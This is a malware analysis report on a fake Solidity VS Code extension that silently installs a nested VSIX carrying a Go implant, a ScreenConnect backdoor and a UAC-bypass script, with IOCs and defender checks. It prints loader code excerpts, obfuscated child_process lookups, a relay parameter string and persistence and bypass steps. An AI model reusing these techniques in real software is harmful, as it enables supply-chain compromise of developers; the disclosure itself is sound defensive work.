language-pack-sol: The Solidity Pack That Ships Its Own Backdoor
The payload in this package is not in the file the manifest names. luanblanco.language-pack-sol 0.0.194 is a 29.7 MB Solidity language pack whose main file waits 60–150 seconds, then calls workbench.extensions.command.installFromVSIX on a nested VSIX at resources/bundled.payload. The editor installs that archive under juanblanco.solidity, the publisher ID of the real Solidity extension. The nested package carries a 54 MB video. The video carries a four-platform Go implant, a ConnectWise ScreenConnect installer, and a UAC-bypass script.
The identity is built to survive the first glance. The publisher display name stores Ju + U+202E + ocnalB na, which renders as “Juan Blanco”. The display name is solidity followed by 23 zero-width spaces. The icon and README are byte copies of the canonical extension. There is no clean twin in the version history, and the first build is still served after the second replaces it.
The hub address is not in the package at all. The implant reads it from an Ethereum contract, so the operator can rotate the server without republishing. Yeeth Security has tracked this operation since the 2025 SleepyDuck loader. The September wave put the implant inside an MP4. The October wave moved it to the VS Code Marketplace and hid it behind a clean build. The payload has not changed since April. The wrapper changed again 46 minutes after this listing went up, when 0.0.195 moved the hand-off into the host process and cut the inner delay to 3–10 seconds.
TL;DR
- Two builds in 46 minutes, both malicious.
luanblanco.language-pack-sol0.0.194was published at 22:31:40 UTC and replaced by0.0.195at 23:17:44 UTC. Both are 29.7 MB and both install the nested extension. The listing was live at the time of writing. - The identity is layered deception. The publisher ID
luanblancodiffers fromJuanBlancoby one character. The publisher display name storesJu+ U+202E +ocnalB na, which renders as “Juan Blanco”. The extension display name issolidityfollowed by 23 U+200B zero-width spaces. - The listed package installs a second extension.
out/extension.jsis byte-identical to the loader from the October 22 and October 24 waves. It waits 60–150 seconds, then installsresources/bundled.payloadthroughworkbench.extensions.command.installFromVSIX. The nested VSIX identifies itself asjuanblanco.solidity, display name “Solidity language runtime helpers”:0.0.3in the first build,0.0.4in the second. It installs nothing when the genuine extension is already present. - The carrier moved back inside the package. Previous waves downloaded
The Duck Song.mp4fromlitter[.]catbox[.]moe. This build embeds the same 54,130,171-byte file in the nested VSIX. There is no external file host to take down. - The second build fixes a deployment bug.
sideInstall.jsgrows from 3 KB to 6.6 KB, scans~/.cursor/extensionsand~/.vscode/extensionsfor the inner package, activates it explicitly, and forks the deploy script from the host. The inner package moves to0.0.4with a 3–10 second delay instead of 45–105 seconds. - The payload did not change. All seven archive entries — four
evjawbreakerimplants, the ScreenConnect MSI, the UAC script, and the ASCII-art duck note — are byte-identical to the September and October waves. The host loader is byte-identical. The icon is byte-identical to the realJuanBlanco.solidityicon. - The dead drop rotated. The Ethereum contract
0xf8a900Db50b3331be6B768bA460BB59f3E40C344now returns hub193.57.9[.]17:4912and stage-2 URLhttp[://]107.189.27[.]46:3000/app.js. The hub was changed on September 24, 2026 at 17:30 UTC, about six hours before the September campaign went live. - The hub and the ScreenConnect relay share a hosting provider.
193.57.9[.]17and the relay in the MSI,185.232.84[.]169:8041, both resolve to AS152900 Onidel Pty Ltd. - Linkage is byte-level, not stylistic. The evidence ties this build to the SleepyDuck delivery pipeline. It does not establish that one operator controls every extension in the family.
Why a language pack works
The canonical Solidity extension is JuanBlanco.solidity. It has 1,840,135 installs, 8,377,685 update events, and a version history going back years. Its listing is the trust anchor for every Solidity developer on the Marketplace. Any extension that displays as “solidity” inherits the first glance.
The previous waves attacked that anchor directly. They used extension IDs such as web3tools and ethtools, publishers such as juanbanco and jaunblanco, and display names built from zero-width spaces. This wave changes the naming strategy. The extension ID is language-pack-sol, which reads as a localisation package, not a Solidity compiler. The display name carries the impersonation instead.
The rest of the page is copied. The description is “Ethereum Solidity Language for Visual Studio Code”. The icon is a byte-for-byte copy of the canonical icon: 21,401 bytes, 204×299 RGBA, SHA-256 5f40b4a5…. The README is copied from the canonical README, including the badges that pull version, install, and rating numbers from juanblanco.solidity. The fake listing therefore displays the real extension’s numbers next to the attacker’s package.
One detail in the manifest is not copied. The engine constraint is ^1.0.0, which removes every version gate on installation.
The listing
The first build:
| Field | Value |
|---|---|
| Publisher ID | luanblanco |
| Publisher display | Ju U+202E ocnalB na (renders “Juan Blanco”) |
| Extension ID | luanblanco.language-pack-sol |
| Display name | solidity + 23× U+200B |
| Version | 0.0.194 |
| Activation | onStartupFinished |
| Served package | 29,722,717 bytes (gzip), 29,714,777 bytes (decompressed ZIP) |
| Nested payload | 29,757,954 bytes (resources/bundled.payload) |
| Published | 2026-10-25 22:31:40 UTC |
| Last updated | 2026-10-25 22:44:57 UTC |
| Downloads at 22:52 UTC | 10 |
The second build:
| Field | Value |
|---|---|
| Version | 0.0.195 |
| Served package | 29,723,674 bytes (gzip), 29,715,732 bytes (decompressed ZIP) |
| Nested payload | 29,758,015 bytes (resources/bundled.payload) |
| Version replaced | 2026-10-25 23:17:44 UTC |
| Downloads at 23:20 UTC | 26 |
At 22:52 the gallery showed one version, 0.0.194. At 23:17 it showed 0.0.195, and 0.0.194 was no longer in the history. The first build is still served by direct asset URL. The earlier 0.0.2 placeholder is also still retrievable by direct asset URL. It is the extneison template seen in previous waves: “A minimal test extension”, 2,384 bytes, with a leftover command named xander-asfasfzxcxzcxv-test.helloWorld. The template still carries the previous owner’s strings.
The package also carries the production scripts that built it:
{
"scripts": {
"build:inner": "node scripts/build-inner-vsix.mjs",
"prepare:publish-deploy": "node -e \"require('fs').copyFileSync('src/components/mp4Deploy.js','lang-resource-sync.upload.txt')\"",
"package:marketplace": "node scripts/package-marketplace.mjs",
"package:publish": "node scripts/package-marketplace.mjs"
}
}
build:inner builds the nested VSIX. prepare:publish-deploy copies the deploy script into a file named lang-resource-sync.upload.txt, the upload artifact used with the file host in the previous wave. The file host is gone from this build, but the build step that fed it remains.
The first stage
The entry point is 2,904 bytes and is byte-identical to the loader used in the October 22 and October 24 waves. Its SHA-256 is 48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642d.
It resolves child_process and exec through SHA-256 lookups instead of literal names, then calls the installer:
const tag = (s) => createHash('sha256').update(s).digest('hex');
const pick = (xs, h) => xs.find((x) => tag(x) === h);
const pkg = pick(builtinModules, 'f2d8255a…'); // "child_process"
const api = require(pkg);
const run = api[pick(Object.keys(api), '2706c619…')]; // "exec"
const marker = '416E2065796520666F7220616E20657965206D7920667269656E642E';
if (run !== marker) {
attemptUpdate(context.extensionPath);
}
The marker decodes to An eye for an eye my friend.. The comparison can never be true: run is a function and marker is a string. The block is a static signature, not a gate.
attemptUpdate() calls scheduleSideInstall(). That function is the new part of the wrapper in the first build. The second build replaces it with a larger orchestrator. This is a representative excerpt of the first version:
const INNER_ID = 'juanblanco.solidity';
async function installInnerPack(hostExtensionPath) {
if (vscode.extensions.getExtension(INNER_ID)) return;
const bundled = path.join(hostExtensionPath, 'resources', 'bundled.payload');
const tmpVsix = path.join(os.tmpdir(), `sol-bundled-${Date.now()}.vsix`);
fs.copyFileSync(bundled, tmpVsix);
await vscode.commands.executeCommand(
'workbench.extensions.command.installFromVSIX', [vscode.Uri.file(tmpVsix)]
);
}
function scheduleSideInstall(hostExtensionPath) {
const delay = 60000 + Math.floor(Math.random() * 90000);
setTimeout(() => void installInnerPack(hostExtensionPath), delay);
}
The installer runs 60–150 seconds after activation, when the editor window is already up and the developer is working. The editor performs the install through its normal extension path, without a marketplace page or a download prompt.
The getExtension(INNER_ID) check is deliberate. A machine that already runs the genuine juanblanco.solidity receives nothing. The campaign targets machines without the canonical extension, where a second Solidity extension is less likely to be noticed.
The second stage
In the first build, the nested VSIX is 29,757,954 bytes, SHA-256 f1f04a6c…. In the second build it is 29,758,015 bytes, SHA-256 9c001803…. The manifest is not the delivery identity:
| Field | Value |
|---|---|
| Extension ID | juanblanco.solidity |
| Version | 0.0.3 |
| Display name | “Solidity language runtime helpers” |
| Publisher name | “Juan Blanco” |
| Files | 7 |
| Carrier | The Duck Song.mp4, 54,130,171 bytes |
The first build waits another 45–105 seconds, then calls bootstrap(). The second build changes this to 3–10 seconds and starts the deploy script from the host as well; see The second build. bootstrap() checks whether the deployment already exists. On Linux and macOS it looks for binaries under ~/.solidity. On Windows it scans Program Files, Program Files (x86), LOCALAPPDATA, and APPDATA for any directory whose name contains ScreenConnect. The string is hex-encoded in the source:
const tag = Buffer.from('53637265656e436f6e6e656374', 'hex').toString();
If the deployment is missing, the extension starts out/mp4Deploy.js as a detached Node process with ELECTRON_RUN_AS_NODE=1. The editor returns to normal. The video stays in the extension directory.
The carrier and the payload
The Duck Song.mp4 is the same file used in the September and October waves. Its SHA-256 is e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d. NYANSTEG starts at byte offset 3,944,464, inside an MP4 free box.
The container has three layers:
- A
NYANSTEGmagic and a SHA-256 digest over the embedded stream. - A
NYANB64Xlayer that maps single base64 characters to variable-length tokens. - A
NYANARCHarchive with a per-entry SHA-256 digest.
The archive holds seven files. All seven are byte-identical to the September extraction:
| Entry | Size (bytes) | SHA-256 |
|---|---|---|
linux_amd64 (evjawbreaker, Go 1.26, stripped) |
6,291,618 | 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696 |
linux_arm64 |
5,832,866 | b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565 |
darwin_amd64 |
6,392,832 | 80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f |
darwin_arm64 |
5,918,146 | fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358 |
app.msi (ConnectWise ScreenConnect) |
13,189,120 | 7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da |
invoke.ps1 (UAC-bypass launcher) |
13,258 | 37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e |
note.txt (ASCII-art duck) |
866 | 683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8 |
The deploy script has the same anti-analysis gates as the October wave. It exits when it detects a debugger (--inspect, an attached inspector, x64dbg, OllyDbg, IDA, WinDbg, Procmon, Process Hacker, Wireshark, Fiddler, dnSpy, and others) or a virtual machine (DMI strings, the CPU hypervisor flag, sysctl hw.model, WMI model and BIOS fields). The comment that explains the debugger check is still in the file:
// Only block when a debugger is actually attached, not just because
// VS Code/Cursor reserve a debug port (process.debugPort is always > 0 there).
On Linux, the script writes ~/.solidity/linux_amd64 and ~/.solidity/.run.py, then installs a systemd user unit named solidity-langsupport-runner.service that starts the binary at login. On macOS, it writes the matching Mach-O binary and a LaunchAgent named com.solidity.langsupport.runner, clears the quarantine attribute with xattr -c, and bootstraps the agent. On Windows, it runs invoke.ps1.
The Windows path uses the .NET profiler bypass tracked in earlier waves. The wrapper decompresses a second PowerShell stage, registers a profiler DLL under an HKCU CLSID, sets COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH, and UAC39_PAYLOAD in the user environment, then launches a Microsoft-signed MMC snap-in. The elevated MMC process loads the DLL, and the DLL runs the staged command. If the bypass fails, the script falls back to a RunAs prompt loop that re-prompts when the user cancels.
The staged command installs app.msi, a genuine ConnectWise ScreenConnect client. The MSI is unsigned, but the product and installer actions are real. Its launch parameters carry the relay:
?e=Access&y=Guest&h=185.232.84[.]169&p=8041&k=…
The service is named ScreenConnect Client (5cbe79c9c25524df). Before msiexec runs, the script copies the MSI into a hidden, system-marked directory under LOCALAPPDATA, adds a Microsoft Defender exclusion for that directory, and removes the exclusion, the staging directory, and the intermediate scripts in a finally block. The install is quiet and survives reboot through the ScreenConnect service.
The chain channel moved
evjawbreaker is a Go implant built at module path evjawbreaker/cmd/evjawbreaker. It has a TLS hub client, an interactive PTY shell through github.com/creack/pty, output capture, anti-VM checks, and one Ethereum JSON-RPC method: eth_call. It reads tasking from a contract on Ethereum mainnet. It does not write to the chain.
The contract is 0xf8a900Db50b3331be6B768bA460BB59f3E40C344. It was deployed on March 14, 2026 at 13:03:47 UTC by 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7, which is also the address returned by the owner() selector. The contract is not verified on block explorers. Its selectors are readable:
| Selector | Result at the time of writing |
|---|---|
0x02d91518 |
193.57.9[.]17:4912 |
0x1f049b68 |
http[://]107.189.27[.]46:3000/app.js |
0x8da5cb5b |
0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7 |
The implant calls the hub selector, parses the returned string, and connects to the hub. The operator can change the hub with a single transaction. No package update, no DNS change, and no new domain registration is required. The package does not need to know the address.
Historical eth_call reads at archive blocks recover the rotation:
| Contract write (UTC) | Hub value |
|---|---|
| 2026-03-14 14:04 | localhost:4912 |
| 2026-03-28 21:55 | 107.189.16[.]215:4912 |
| 2026-05-03 16:55 | 91.108.240[.]156:4912 |
| 2026-07-31 22:10 | 107.189.27[.]46:4912 |
| 2026-09-23 22:47 | 107.189.27[.]223:4912 |
| 2026-09-24 17:30 | 193.57.9[.]17:4912 |
The final rotation is the important one. The hub moved to 193.57.9[.]17 about six hours before the September 24 campaign went live. It has not moved since, across the October 22, October 23, October 24, and October 25 pushes. The delivery wrapper changes every day. The command channel has not changed in a month.
The stage-2 URL is stored separately. It has pointed at http[://]107.189.27[.]46:3000/app.js since May 16, 2026. That address was the hub from July 31 to September 23. This build does not call the stage-2 URL; the nested extension carries the carrier itself. The URL remains in the contract for the loader variants that still fetch it.
193.57.9[.]17 and 185.232.84[.]169 — the new hub and the ScreenConnect relay — both resolve to AS152900 Onidel Pty Ltd in Amsterdam. 107.189.27[.]46 and 107.189.27[.]223 resolve to AS14956 RouterHosting LLC in Zaandam. These are commercial VPS providers. The malicious components are the specific hosts, not the providers or their parent networks.
Linkage evidence
The build is linked to the SleepyDuck delivery pipeline by artifacts, not by resemblance:
- Icon.
images/icon.pngis byte-identical to the icon served forJuanBlanco.solidity0.0.187: 21,401 bytes, SHA-2565f40b4a5510603c69994bb38326b69558cb1da00615b59cea599e865a7528025. - Host loader.
out/extension.jsis byte-identical to the loader injaunblanco.ethtools0.0.187 andjaunblanco.ethertools0.0.193: SHA-25648b97958…, including the hashedchild_processlookup and theAn eye for an eye my friend.marker. - Archive entries. All seven files in the MP4 archive are byte-identical to the September 24 extraction. The hashes are listed above. The carrier itself is the same 54,130,171-byte file.
- Container format. The
NYANSTEG,NYANB64X, andNYANARCHmagics, the MP4freebox, the per-entry digests, and the offset 3,944,464 are unchanged. - Nested install. The inner extension uses the real publisher ID
juanblanco.solidity, the display name “Solidity language runtime helpers”, and the editor’sinstallFromVSIXcommand. The first build ships inner0.0.3; the second ships0.0.4. Both skip machines that already run the genuine extension. - Build artifacts. The published
package.jsonstill contains theprepare:publish-deploystep that copiessrc/components/mp4Deploy.jstolang-resource-sync.upload.txt. The0.0.3inner package is stamped 2026-10-24 03:11; the0.0.4inner package is stamped 2026-10-26 00:07. - Identity pattern. The publisher display name uses U+202E, and the display name appends 23 U+200B characters. The previous waves used 10 and 22 zero-width characters and the same bidi technique.
- Infrastructure. The contract, the hub history, and the ScreenConnect relay are continuous with the earlier waves. The current hub and the relay share a hosting provider.
The evidence does not establish that a single operator controls every extension in this family. It does establish that this package was built from the same source tree, with the same payload, and pointed at the same command channel as the September and October campaigns.
What this wave changes
The previous wave moved the carrier out of the package. jaunblanco.ethertools 0.0.193 was 73 KB: a grammar, a README, and a 32 KB nested VSIX. The nested extension downloaded the 54 MB carrier from litter[.]catbox[.]moe after two randomised delays. That design had two advantages: the listed package looked small and harmless, and the executable stage arrived after install.
It also had two failure points. The file host could remove the file. The download created a network event that a proxy or DNS log could catch.
This wave removes both. The carrier is inside the nested VSIX, and the nested VSIX is inside the listed package. There is no file host, no download, and no network request before the implant runs. The cost is size: the listed package is 29.7 MB, and one file is about 29.8 MB. A language pack with a 29 MB opaque blob is a size outlier, but it is not an executable file, and the manifest declares only one main entry: a 2.9 KB loader.
Both versions in this listing are weaponised. The October 22 wave hid the dropper in a short-lived version and left a clean build on the listing. This wave has no clean twin: the first build installs the second stage, and the second build does the same with a more reliable hand-off. A reviewer who downloads either listed build gets the dropper. A reviewer who reads the manifest sees a grammar, a README, and one archive.
The second build
At 23:17:44 UTC, 46 minutes after the first listing, the gallery replaced 0.0.194 with 0.0.195. The new package is 29,723,674 bytes, and its decompressed VSIX hashes to 4599e3f6…. The carrier, the seven archive entries, the icon, and the host entry point are unchanged. The change is in out/components/sideInstall.js, which grows from 2,997 to 6,644 bytes.
The first build delegated everything to the nested extension. It copied bundled.payload to a temporary file, called installFromVSIX, and returned. The nested extension was responsible for its own activation and for the 45–105 second delay before mp4Deploy.js.
The second build takes control of that sequence:
// representative excerpt
const innerPath = innerExtensionPath(); // ~/.cursor/extensions, ~/.vscode/extensions
if (!innerPath) await installInnerVsix(hostExtensionPath);
const inner = vscode.extensions.getExtension(INNER_ID);
await inner.activate();
spawnInnerDeploy(innerPath); // fork out/mp4Deploy.js
It finds the inner extension by scanning the Cursor and VS Code extension directories for a name that begins with juanblanco.solidity-. It activates the extension explicitly and starts out/mp4Deploy.js from the host process. The inner package moves from 0.0.3 to 0.0.4, and its own delay drops from 45–105 seconds to 3–10 seconds. The comment in the new inner build explains why:
// Short jitter only — late VSIX install misses onStartupFinished for this extension.
A VSIX installed after startup does not receive onStartupFinished. The first build depended on that event to start the inner extension. When the install landed late, the inner extension activated with no event and did nothing. The second build removes that dependency by calling activate() itself and forking the deploy script directly. The 3–10 second jitter avoids a simultaneous launch and is short enough that the fix does not depend on another startup event.
The payload did not change. The Duck Song.mp4, mp4Deploy.js, and all seven archive entries are byte-identical. The nested VSIX hash changes because its package.json and extension.js changed.
The counters around the second build are also worth recording. Three reads of the listing in under an hour returned install values of 14, 97,187, and 42,046, while downloadCount moved from 21 to 36 to 26. Neither counter is stable enough to use as an adoption signal at this cadence.
Why it evades review
| Assumption | Behavior in this build |
|---|---|
| A language pack contains grammar and snippets. | It contains a 29.7 MB nested VSIX. |
The package’s executable surface is its main file. |
The main file installs another extension, which carries the executable stage. |
| Installing an extension requires a user decision. | The editor installs the nested VSIX through its own command, after a delay. |
| The publisher name identifies the publisher. | The display name is a bidi string that renders as “Juan Blanco” and compares as something else. |
| The extension name must match the tool it impersonates. | The ID is language-pack-sol; the display name carries the impersonation. |
| Blocking the C2 endpoint disables the implant. | The hub address is read from an Ethereum contract, with twelve public RPC endpoints compiled in. |
| File hashes identify the campaign. | The payload hashes are unchanged and public. The wrapper changes with every push. |
| A version removed from the history is no longer served. | The gallery still serves 0.0.194 by direct asset URL after 0.0.195 replaced it. |
The dead drop is the durable part. The hub has held six different values since March. Each change is one transaction. The implant does not carry a hub address, so a blocklist built from one sample expires at the next transaction. The contract address is the stable indicator. The hub is not.
Commodity components
Most of this chain is off-the-shelf. The Windows backdoor is a commercial ConnectWise ScreenConnect client, built with the standard WiX Toolset and customized only with the operator’s relay. The Linux and macOS shell uses github.com/creack/pty, a public Go library. The implant is a standard stripped Go binary with no custom packer. Tasking relies on eth_call against public Ethereum RPC endpoints and a minimal contract that stores two strings under an owner account. Earlier builds in the family passed the dropper through javascript-obfuscator. The extension’s grammar, snippets, README, and icon are copied from the MIT-licensed canonical Solidity extension.
The custom parts are narrow: the NYANSTEG / NYANB64X / NYANARCH container, the extension-install hand-off, and the identity rotation. Everything else can be bought, cloned, or called from a public endpoint. That is the commodity thesis in practice: the barrier to entry is low, and the operational discipline is in packaging and review evasion, not in the malware.
Outlook
The delivery wrapper will keep changing. The payload has not changed since April, and there is no sign that the operator intends to rebuild it. The cheap variables are the ones that moved this week: publisher ID, extension name, display name, outer file layout, the location of the carrier, and the deployment hand-off. The operator revised the hand-off within 46 minutes of the first listing.
The carrier will move again. The previous wave put it on a file host; this wave put it inside the package. The next wave can put it in a different package, a different file type, or a different registry. The container format does not care whether the carrier is an MP4, a PNG, a font, or a WASM module.
Nested installs will continue. The editor’s installFromVSIX command is a legitimate feature, and an extension that calls it receives no special scrutiny. The inner package can use the real publisher ID because the outer package does not share it. The only check in this build is whether the genuine extension is already installed.
The dead drop will keep rotating. The contract gives the operator a way to change the hub without touching the package, and the twelve RPC endpoints give the implant a way to read the contract without a single point of failure. Blocking the current hub is a temporary measure.
Windows will keep using commercial remote-management software. ScreenConnect is a commercial product, widely deployed, and tolerated by many security products. The relay changes with the MSI build; the product name does not.
What defenders should do
The general principle is simple: an extension that installs another extension is not a language feature. Treat any extension that calls workbench.extensions.command.installFromVSIX or workbench.extensions.installExtension as a supply-chain boundary, regardless of its package size or display name.
Specific checks:
- Inventory extension IDs and versions. Look for
juanblanco.solidityat versions0.0.3or0.0.4, or anyjuanblanco.soliditybuild installed from a VSIX rather than the Marketplace. The genuine extension is at0.0.187at the time of writing. - Look for the persistence artifacts. On Linux,
~/.solidityandsolidity-langsupport-runner.service. On macOS,~/.solidityandcom.solidity.langsupport.runner. On Windows, a ScreenConnect client whose service name contains5cbe79c9c25524df, and the relay185.232.84[.]169:8041. - Inspect packages for nested installers. A VSIX containing another
.vsix, or a large opaque file with no declared language-server role, is worth opening. TheNYANSTEGmagic is a direct indicator. Check removed versions by direct URL; the gallery still serves0.0.194. - Do not rely on install counts or publisher display names. The display name is a bidi string. The README badges show the real extension’s numbers. Check the extension ID, the publisher ID, and the version bytes.
- Block the specific endpoints, not the providers.
193.57.9[.]17:4912and107.189.27[.]46:3000are actor-controlled hosts on shared VPS infrastructure. Blocking the parent networks would affect unrelated customers. - Treat an installed host as compromised. The implant has an interactive PTY shell and reads tasking from the chain. Remove the extension, stop and remove the persistence, then rotate every credential that touched the machine. Move wallet keys and seed phrases off the machine before rotating them.
IOCs
Extensions
luanblanco.language-pack-sol0.0.194 — decompressed VSIX SHA-256b63201f7fd9c51d4f7da24d28e73bb587b218163a0b9b31d9e323dda9cdf3e36; served gzip SHA-256f68d2c83ab70e4fa707310e509c622d095784bcebc0c4f085e6eca55b3ea76af; still served by direct URLluanblanco.language-pack-sol0.0.195 — decompressed VSIX SHA-2564599e3f61b86569a105ea9390a2c8e4d3f5c54b7cc0e87c7a3f3024e529264f7; served gzip SHA-2564de2c216ecac35532c6a37d72bfd169de1ef042b970e1ede5b22efa314318284luanblanco.language-pack-sol0.0.2 — placeholder (extneison), still retrievable by direct asset URLjuanblanco.solidity0.0.3 — nested VSIX SHA-256f1f04a6c4dd8657675538d91628afca674bd78057cb3edf8ed7b39ca3bc1ddfajuanblanco.solidity0.0.4 — nested VSIX SHA-2569c001803d8df1b31ce7f8d48906de5aacb14622ffc25c654c27c3a275724d52d- Carrier
The Duck Song.mp4— 54,130,171 bytes, SHA-256e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d
Network
- Hub:
193.57.9[.]17:4912 - Stage-2 URL:
http[://]107.189.27[.]46:3000/app.js - ScreenConnect relay:
185.232.84[.]169:8041 - Historical hubs:
107.189.27[.]223:4912,107.189.27[.]46:4912,91.108.240[.]156:4912,107.189.16[.]215:4912 - Dead-drop contract (Ethereum mainnet):
0xf8a900Db50b3331be6B768bA460BB59f3E40C344 - Contract owner:
0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7
Behavioral
- Extension code that calls
workbench.extensions.command.installFromVSIXorworkbench.extensions.installExtension - Inner extension ID
juanblanco.solidityat versions0.0.3or0.0.4, display name “Solidity language runtime helpers” - Hashed
builtinModuleslookup resolving tochild_process, and a hashedObject.keyslookup resolving toexec - Marker string
An eye for an eye my friend.(hex416E2065796520666F7220616E20657965206D7920667269656E642E) NYANSTEG,NYANB64X,NYANARCH~/.solidity,solidity-langsupport-runner.service,com.solidity.langsupport.runner%TEMP%\solidity-langsupport-debug.logCOR_ENABLE_PROFILING,COR_PROFILER_PATH,UAC39_PAYLOAD- ScreenConnect service suffix
5cbe79c9c25524df
Payload hashes
| Entry | SHA-256 |
|---|---|
linux_amd64 |
9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696 |
linux_arm64 |
b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565 |
darwin_amd64 |
80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f |
darwin_arm64 |
fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358 |
app.msi |
7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da |
invoke.ps1 |
37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e |
note.txt |
683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8 |